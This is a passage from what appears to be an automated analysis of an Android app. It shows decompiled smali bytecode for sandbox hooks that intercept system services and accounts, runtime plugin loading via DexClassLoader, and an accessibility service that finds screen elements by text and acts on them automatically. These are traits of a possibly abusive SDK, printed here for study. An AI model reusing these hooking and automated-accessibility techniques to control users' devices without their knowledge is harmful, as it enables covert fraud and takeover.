                              11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              12move-result-object v2
                              14iget-object v3, p0, Lsdk/nicro/lu/p$2;->a:Ljava/lang/Object;
                              16invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              17move-result-object v2
                              19invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              20move-result-object v2
                              22invoke-static {v2}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              23move-result-object v2
                              25invoke-direct {v1, v2}, Landroid/net/LocalSocketAddress;-><init>(Ljava/lang/String;)V
                              27invoke-virtual {v0, v1}, Landroid/net/LocalSocket;->connect(Landroid/net/LocalSocketAddress;)V
                              29invoke-virtual {v0}, Landroid/net/LocalSocket;->close()V
                              30const/4 v0, 0x0
                              32invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              33try_end_2d: move-result-object v0
                              34goto_2e: return-object v0
                              35catch_2f: move-exception v0
                              36const/4 v0, 0x1
                              38invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              39move-result-object v0
                              40goto/16 :goto_2e
                              Cross References
                              APIs
                              • com.lody.virtual.DelegateApplication64Bit.findField
                              • java.lang.reflect.Field.get
                              • java.util.List.toArray
                              • java.lang.Object.getClass
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Array.newInstance
                              • java.lang.System.arraycopy
                              • java.lang.System.arraycopy
                              • java.util.Arrays.asList
                              • java.lang.reflect.Field.set
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x0
                              3invoke-static {p0, p1}, Lcom/lody/virtual/DelegateApplication64Bit;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              4move-result-object v1
                              6invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Ljava/util/List;
                              10invoke-interface {v0}, Ljava/util/List;->toArray()[Ljava/lang/Object;
                              11move-result-object v2
                              13invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              14move-result-object v0
                              16invoke-virtual {v0}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              17move-result-object v0
                              18array-length v3, v2
                              19add-int/lit8 v3, v3, 0x1
                              21invoke-static {v0, v3}, Ljava/lang/reflect/Array;->newInstance(Ljava/lang/Class;I)Ljava/lang/Object;
                              22move-result-object v0
                              23check-cast v0, [Ljava/lang/Object;
                              24check-cast v0, [Ljava/lang/Object;
                              25array-length v3, v2
                              27invoke-static {v2, v4, v0, v4, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                              28array-length v2, v2
                              29const/4 v3, 0x1
                              31invoke-static {p2, v4, v0, v2, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                              33invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
                              34move-result-object v0
                              36invoke-virtual {v1, p0, v0}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              37return-void
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.getType
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getNetworkType
                              • android.net.NetworkInfo.getType
                              Strings
                              • connectivity
                              • phone
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x1
                              2const/4 v1, 0x0
                              4const-string/jumbo v0, "connectivity"
                              6invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Landroid/net/ConnectivityManager;
                              9if-nez v0, :cond_f
                              10move v0, v1
                              11goto_e: return v0
                              12cond_f:
                              13invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              14move-result-object v0
                              15if-nez v0, :cond_17
                              16move v0, v1
                              17goto/16 :goto_e
                              18cond_17:
                              19invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                              20move-result v3
                              21if-nez v3, :cond_35
                              23const-string/jumbo v0, "phone"
                              25invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              26move-result-object v0
                              27check-cast v0, Landroid/telephony/TelephonyManager;
                              29invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                              30move-result v0
                              31packed-switch v0, :pswitch_data_40
                              32const/4 v0, 0x4
                              33goto/16 :goto_e
                              34pswitch_2f: move v0, v2
                              35goto/16 :goto_e
                              36pswitch_31: const/4 v0, 0x2
                              37goto/16 :goto_e
                              38pswitch_33: const/4 v0, 0x5
                              39goto/16 :goto_e
                              40cond_35:
                              41invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                              42move-result v0
                              43if-ne v0, v2, :cond_3d
                              44const/4 v0, 0x3
                              45goto/16 :goto_e
                              46cond_3d: move v0, v1
                              47goto/16 :goto_e
                              48nop
                              APIs
                              • android.content.Context.getFilesDir
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.io.File.getPath
                              • java.lang.Class.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              Strings
                              • dexopt
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/io/File;
                              3invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
                              4move-result-object v1
                              6const-string/jumbo v2, "dexopt"
                              8invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              10invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              11move-result v1
                              12if-nez v1, :cond_15
                              14invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
                              15cond_15: new-instance v1, Ldalvik/system/DexClassLoader;
                              17invoke-virtual {p2}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              18move-result-object v2
                              20invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              21move-result-object v0
                              22const/4 v3, 0x0
                              23const-class v4, Lcom/omg/plugin/PluginInfo;
                              25invoke-virtual {v4}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              26move-result-object v4
                              28invoke-direct {v1, v2, v0, v3, v4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              29iput-object v1, p0, Lcom/omg/plugin/PluginContext$DexClassLoaderPluginContext;->f:Ljava/lang/ClassLoader;
                              30iput-object p1, p0, Lcom/omg/plugin/PluginContext$DexClassLoaderPluginContext;->g:Landroid/content/Context;
                              31const/4 v0, 0x1
                              32return v0
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.setResultAndFinish
                              Strings
                              • AccountChooser
                              • selected account
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "AccountChooser"
                              3new-instance v1, Ljava/lang/StringBuilder;
                              5invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              7const-string v2, "selected account "
                              9invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              10move-result-object v1
                              12invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              13move-result-object v1
                              15invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              16move-result-object v1
                              18invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              20iget-object v0, p1, Landroid/accounts/Account;->name:Ljava/lang/String;
                              22iget-object v1, p1, Landroid/accounts/Account;->type:Ljava/lang/String;
                              24invoke-direct {p0, v0, v1}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->setResultAndFinish(Ljava/lang/String;Ljava/lang/String;)V
                              25return-void
                              APIs
                              • android.content.pm.PackageManager.getPackageInfo
                              • android.content.pm.PackageManager.getPackageInfo
                              • android.content.pm.PackageInfo.signatures:[Landroid/content/pm/Signature
                              • android.content.pm.PackageInfo.signatures:[Landroid/content/pm/Signature
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.util.Arrays.equals
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x1
                              2const/4 v3, 0x0
                              3array-length v0, p3
                              4const/4 v1, 0x2
                              5if-ne v0, v1, :cond_65
                              6aget-object v0, p3, v3
                              7instance-of v0, v0, Ljava/lang/String;
                              8if-eqz v0, :cond_65
                              9aget-object v0, p3, v4
                              10instance-of v0, v0, Ljava/lang/String;
                              11if-eqz v0, :cond_65
                              13invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->getPM()Landroid/content/pm/PackageManager;
                              14move-result-object v2
                              15aget-object v0, p3, v3
                              16check-cast v0, Ljava/lang/String;
                              17aget-object v1, p3, v4
                              18check-cast v1, Ljava/lang/String;
                              19const/16 v3, 0x40
                              20try_start_20:
                              21invoke-virtual {v2, v0, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                              22move-result-object v0
                              23const/16 v3, 0x40
                              25invoke-virtual {v2, v1, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                              26move-result-object v1
                              28iget-object v0, v0, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;
                              30iget-object v1, v1, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;
                              32invoke-static {v0}, Lcom/lody/virtual/helper/utils/ArrayUtils;->isEmpty([Ljava/lang/Object;)Z
                              33move-result v2
                              34if-eqz v2, :cond_46
                              36invoke-static {v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->isEmpty([Ljava/lang/Object;)Z
                              37move-result v0
                              38if-nez v0, :cond_40
                              39const/4 v0, -0x1
                              41invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              42move-result-object v0
                              43goto_3f: return-object v0
                              44cond_40: const/4 v0, 0x1
                              46invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              47move-result-object v0
                              48goto/16 :goto_3f
                              49cond_46:
                              50invoke-static {v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->isEmpty([Ljava/lang/Object;)Z
                              51move-result v2
                              52if-eqz v2, :cond_52
                              53const/4 v0, -0x2
                              55invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              56move-result-object v0
                              57goto/16 :goto_3f
                              58cond_52:
                              59invoke-static {v0, v1}, Ljava/util/Arrays;->equals([Ljava/lang/Object;[Ljava/lang/Object;)Z
                              60move-result v0
                              61if-eqz v0, :cond_5e
                              62const/4 v0, 0x0
                              64invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              65move-result-object v0
                              66goto/16 :goto_3f
                              67cond_5e: const/4 v0, -0x3
                              69invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              70try_end_62: move-result-object v0
                              71goto/16 :goto_3f
                              72catch_64: move-exception v0
                              73cond_65:
                              74invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              75move-result-object v0
                              76goto/16 :goto_3f
                              APIs
                              • java.lang.Class.isInstance
                              • java.lang.Class.isInstance
                              • android.os.IInterface.asBinder
                              • android.os.IBinder.linkToDeath
                              • java.util.WeakHashMap.get
                              • com.lody.virtual.client.hook.proxies.am.MethodProxies$RegisterReceiver$IIntentReceiverProxy.<init>
                              • java.util.WeakHashMap.put
                              • java.lang.ref.WeakReference.get
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              3sget v0, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->IDX_RequiredPermission:I
                              4const/4 v1, 0x0
                              5aput-object v1, p3, v0
                              6sget v0, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->IDX_IntentFilter:I
                              7aget-object v0, p3, v0
                              8check-cast v0, Landroid/content/IntentFilter;
                              10invoke-static {v0}, Lcom/lody/virtual/client/env/SpecialComponentList;->protectIntentFilter(Landroid/content/IntentFilter;)V
                              11array-length v0, p3
                              12sget v1, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->IDX_IIntentReceiver:I
                              13if-le v0, v1, :cond_6a
                              14const-class v0, Landroid/content/IIntentReceiver;
                              15sget v1, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->IDX_IIntentReceiver:I
                              16aget-object v1, p3, v1
                              18invoke-virtual {v0, v1}, Ljava/lang/Class;->isInstance(Ljava/lang/Object;)Z
                              19move-result v0
                              20if-eqz v0, :cond_6a
                              21sget v0, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->IDX_IIntentReceiver:I
                              22aget-object v0, p3, v0
                              23check-cast v0, Landroid/os/IInterface;
                              24const-class v1, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver$IIntentReceiverProxy;
                              26invoke-virtual {v1, v0}, Ljava/lang/Class;->isInstance(Ljava/lang/Object;)Z
                              27move-result v1
                              28if-nez v1, :cond_6a
                              30invoke-interface {v0}, Landroid/os/IInterface;->asBinder()Landroid/os/IBinder;
                              31move-result-object v2
                              32if-eqz v2, :cond_6a
                              33new-instance v1, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver$1;
                              35invoke-direct {v1, p0, v2}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver$1;-><init>(Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;Landroid/os/IBinder;)V
                              36const/4 v3, 0x0
                              38invoke-interface {v2, v1, v3}, Landroid/os/IBinder;->linkToDeath(Landroid/os/IBinder$DeathRecipient;I)V
                              40iget-object v1, p0, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->mProxyIIntentReceivers:Ljava/util/WeakHashMap;
                              42invoke-virtual {v1, v2}, Ljava/util/WeakHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              43move-result-object v1
                              44check-cast v1, Landroid/content/IIntentReceiver;
                              45if-nez v1, :cond_53
                              46new-instance v1, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver$IIntentReceiverProxy;
                              48invoke-direct {v1, v0}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver$IIntentReceiverProxy;-><init>(Landroid/os/IInterface;)V
                              50iget-object v3, p0, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->mProxyIIntentReceivers:Ljava/util/WeakHashMap;
                              52invoke-virtual {v3, v2, v1}, Ljava/util/WeakHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              53cond_53:
                              54sget-object v2, Lmirror/android/app/LoadedApk$ReceiverDispatcher$InnerReceiver;->mDispatcher:Lmirror/RefObject;
                              56invoke-virtual {v2, v0}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              57move-result-object v0
                              58check-cast v0, Ljava/lang/ref/WeakReference;
                              59if-eqz v0, :cond_6a
                              61sget-object v2, Lmirror/android/app/LoadedApk$ReceiverDispatcher;->mIIntentReceiver:Lmirror/RefObject;
                              63invoke-virtual {v0}, Ljava/lang/ref/WeakReference;->get()Ljava/lang/Object;
                              64move-result-object v0
                              66invoke-virtual {v2, v0, v1}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              67sget v0, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$RegisterReceiver;->IDX_IIntentReceiver:I
                              68aput-object v1, p3, v0
                              69cond_6a:
                              70invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              71move-result-object v0
                              72return-object v0
                              APIs
                              • android.content.Intent.getData
                              • android.content.Intent.setDataAndType
                              • android.content.Intent.getComponent
                              • android.content.pm.PackageManager.resolveService
                              • android.content.pm.ResolveInfo.serviceInfo:Landroid/content/pm/ServiceInfo
                              • android.content.pm.ResolveInfo.serviceInfo:Landroid/content/pm/ServiceInfo
                              • android.content.pm.ServiceInfo.packageName:Ljava/lang/String
                              • android.content.pm.ResolveInfo.serviceInfo:Landroid/content/pm/ServiceInfo
                              • android.content.pm.ServiceInfo.name:Ljava/lang/String
                              • android.content.ComponentName.<init>
                              • android.content.ComponentName.getPackageName
                              • java.lang.String.equals
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2aget-object v0, p3, v5
                              3check-cast v0, Landroid/os/IInterface;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Landroid/content/Intent;
                              7const/4 v2, 0x2
                              8aget-object v2, p3, v2
                              9check-cast v2, Ljava/lang/String;
                              11invoke-virtual {v1}, Landroid/content/Intent;->getData()Landroid/net/Uri;
                              12move-result-object v3
                              14invoke-virtual {v1, v3, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                              16invoke-virtual {v1}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                              17move-result-object v3
                              19invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->getPM()Landroid/content/pm/PackageManager;
                              20move-result-object v4
                              21if-nez v3, :cond_37
                              23invoke-virtual {v4, v1, v5}, Landroid/content/pm/PackageManager;->resolveService(Landroid/content/Intent;I)Landroid/content/pm/ResolveInfo;
                              24move-result-object v4
                              25if-eqz v4, :cond_37
                              27iget-object v5, v4, Landroid/content/pm/ResolveInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
                              28if-eqz v5, :cond_37
                              29new-instance v3, Landroid/content/ComponentName;
                              31iget-object v5, v4, Landroid/content/pm/ResolveInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
                              33iget-object v5, v5, Landroid/content/pm/ServiceInfo;->packageName:Ljava/lang/String;
                              35iget-object v4, v4, Landroid/content/pm/ResolveInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
                              37iget-object v4, v4, Landroid/content/pm/ServiceInfo;->name:Ljava/lang/String;
                              39invoke-direct {v3, v5, v4}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                              40cond_37: if-eqz v3, :cond_54
                              42invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$StopService;->getHostPkg()Ljava/lang/String;
                              43move-result-object v4
                              45invoke-virtual {v3}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              46move-result-object v3
                              48invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              49move-result v3
                              50if-nez v3, :cond_54
                              52invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              53move-result-object v3
                              55invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VActivityManager;->stopService(Landroid/os/IInterface;Landroid/content/Intent;Ljava/lang/String;)I
                              56move-result v0
                              58invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              59move-result-object v0
                              60goto_53: return-object v0
                              61cond_54:
                              62invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              63move-result-object v0
                              64goto/16 :goto_53
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredFields
                              • java.lang.Object.equals
                              • java.lang.reflect.Field.getName
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.reflect.Field.set
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Class",
                              4"<*>;",
                              5"Ljava/lang/Class",
                              6"<*>;",
                              7"Ljava/lang/Object;",
                              8"Ljava/lang/Object;",
                              9")V"
                              10}
                              11.end annotation
                              12.prologue
                              14invoke-virtual {p1}, Ljava/lang/Class;->getDeclaredFields()[Ljava/lang/reflect/Field;
                              15move-result-object v3
                              16array-length v4, v3
                              17const/4 v0, 0x0
                              18move v2, v0
                              19goto_7: if-ge v2, v4, :cond_3b
                              20aget-object v1, v3, v2
                              22invoke-virtual {p0, v1}, Lcom/omg/tool/ClassCopier;->a(Ljava/lang/reflect/Field;)Z
                              23move-result v0
                              24if-eqz v0, :cond_32
                              25try_start_11:
                              26iget-object v0, p0, Lcom/omg/tool/ClassCopier;->b:Ljava/lang/Class;
                              28iget-object v5, p0, Lcom/omg/tool/ClassCopier;->a:Ljava/lang/Class;
                              30invoke-virtual {v0, v5}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              31move-result v0
                              32if-nez v0, :cond_3c
                              34invoke-virtual {v1}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              35move-result-object v0
                              37invoke-virtual {p2, v0}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              38move-result-object v0
                              39goto_23: const/4 v5, 0x1
                              41invoke-virtual {v1, v5}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              42const/4 v5, 0x1
                              44invoke-virtual {v0, v5}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              46invoke-virtual {v1, p3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              47move-result-object v1
                              49invoke-virtual {v0, p4, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              50goto_32: add-int/lit8 v0, v2, 0x1
                              51move v2, v0
                              52goto/16 :goto_7
                              53catch_36: move-exception v0
                              55invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              56goto/16 :goto_32
                              57cond_3b: return-void
                              58cond_3c: move-object v0, v1
                              59goto/16 :goto_23
                              Cross References
                              APIs
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {}, Lcom/omgSdk/andoclib/a;->a()Lcom/omgSdk/andoclib/a;
                              3move-result-object v0
                              5invoke-virtual {v0}, Lcom/omgSdk/andoclib/a;->b()Ljava/util/HashMap;
                              6move-result-object v0
                              8invoke-direct {p0, v0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/HashMap;)Ljava/lang/String;
                              9move-result-object v0
                              10if-eqz p1, :cond_18
                              11if-eqz v0, :cond_18
                              13invoke-virtual {p1, v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                              14move-result-object v0
                              15const/4 v1, 0x5
                              17invoke-direct {p0, v0, v1}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              18cond_18:
                              19invoke-static {}, Lcom/omgSdk/andoclib/a;->a()Lcom/omgSdk/andoclib/a;
                              20move-result-object v0
                              22invoke-virtual {v0}, Lcom/omgSdk/andoclib/a;->c()Ljava/util/HashMap;
                              23move-result-object v0
                              25invoke-direct {p0, v0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/HashMap;)Ljava/lang/String;
                              26move-result-object v0
                              27if-eqz p1, :cond_30
                              28if-eqz v0, :cond_30
                              30invoke-virtual {p1, v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                              31move-result-object v0
                              32const/4 v1, 0x6
                              34invoke-direct {p0, v0, v1}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              35cond_30:
                              36invoke-static {}, Lcom/omgSdk/andoclib/a;->a()Lcom/omgSdk/andoclib/a;
                              37move-result-object v0
                              39invoke-virtual {v0}, Lcom/omgSdk/andoclib/a;->d()Ljava/util/HashMap;
                              40move-result-object v0
                              42invoke-direct {p0, v0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/HashMap;)Ljava/lang/String;
                              43move-result-object v0
                              44if-eqz p1, :cond_48
                              45if-eqz v0, :cond_48
                              47invoke-virtual {p1, v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                              48move-result-object v0
                              49const/4 v1, 0x7
                              51invoke-direct {p0, v0, v1}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              52cond_48: return-void
                              Cross References
                              APIs
                              • com.lody.virtual.server.accounts.VAccountManagerService.accountsByUserId:Landroid/util/SparseArray
                              • android.util.SparseArray.get
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.text.TextUtils.equals
                              • android.accounts.Account.type:Ljava/lang/String
                              • android.text.TextUtils.equals
                              • java.util.Iterator.remove
                              • com.lody.virtual.server.accounts.VAccountManagerService.saveAllAccounts
                              • com.lody.virtual.server.accounts.VAccountManagerService.sendAccountsChangedBroadcast
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService;->accountsByUserId:Landroid/util/SparseArray;
                              4invoke-virtual {v0, p1}, Landroid/util/SparseArray;->get(I)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Ljava/util/List;
                              7if-eqz v0, :cond_3d
                              9invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              10move-result-object v1
                              11cond_e:
                              12invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              13move-result v0
                              14if-eqz v0, :cond_3d
                              16invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              17move-result-object v0
                              18check-cast v0, Lcom/lody/virtual/server/accounts/VAccount;
                              19iget v2, v0, Lcom/lody/virtual/server/accounts/VAccount;->userId:I
                              20if-ne p1, v2, :cond_e
                              22iget-object v2, v0, Lcom/lody/virtual/server/accounts/VAccount;->name:Ljava/lang/String;
                              24iget-object v3, p2, Landroid/accounts/Account;->name:Ljava/lang/String;
                              26invoke-static {v2, v3}, Landroid/text/TextUtils;->equals(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Z
                              27move-result v2
                              28if-eqz v2, :cond_e
                              30iget-object v2, p2, Landroid/accounts/Account;->type:Ljava/lang/String;
                              32iget-object v0, v0, Lcom/lody/virtual/server/accounts/VAccount;->type:Ljava/lang/String;
                              34invoke-static {v2, v0}, Landroid/text/TextUtils;->equals(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Z
                              35move-result v0
                              36if-eqz v0, :cond_e
                              38invoke-interface {v1}, Ljava/util/Iterator;->remove()V
                              40invoke-direct {p0}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->saveAllAccounts()V
                              42invoke-direct {p0, p1}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->sendAccountsChangedBroadcast(I)V
                              43const/4 v0, 0x1
                              44goto_3c: return v0
                              45cond_3d: const/4 v0, 0x0
                              46goto/16 :goto_3c
                              APIs
                              • com.omg.event.EventInjectService.access$100
                              • com.omg.event.EventInjectService.access$100
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Class.isPrimitive
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Boolean.TYPE:Ljava/lang/Class
                              • java.lang.Class.isAssignableFrom
                              • java.lang.Boolean.valueOf
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
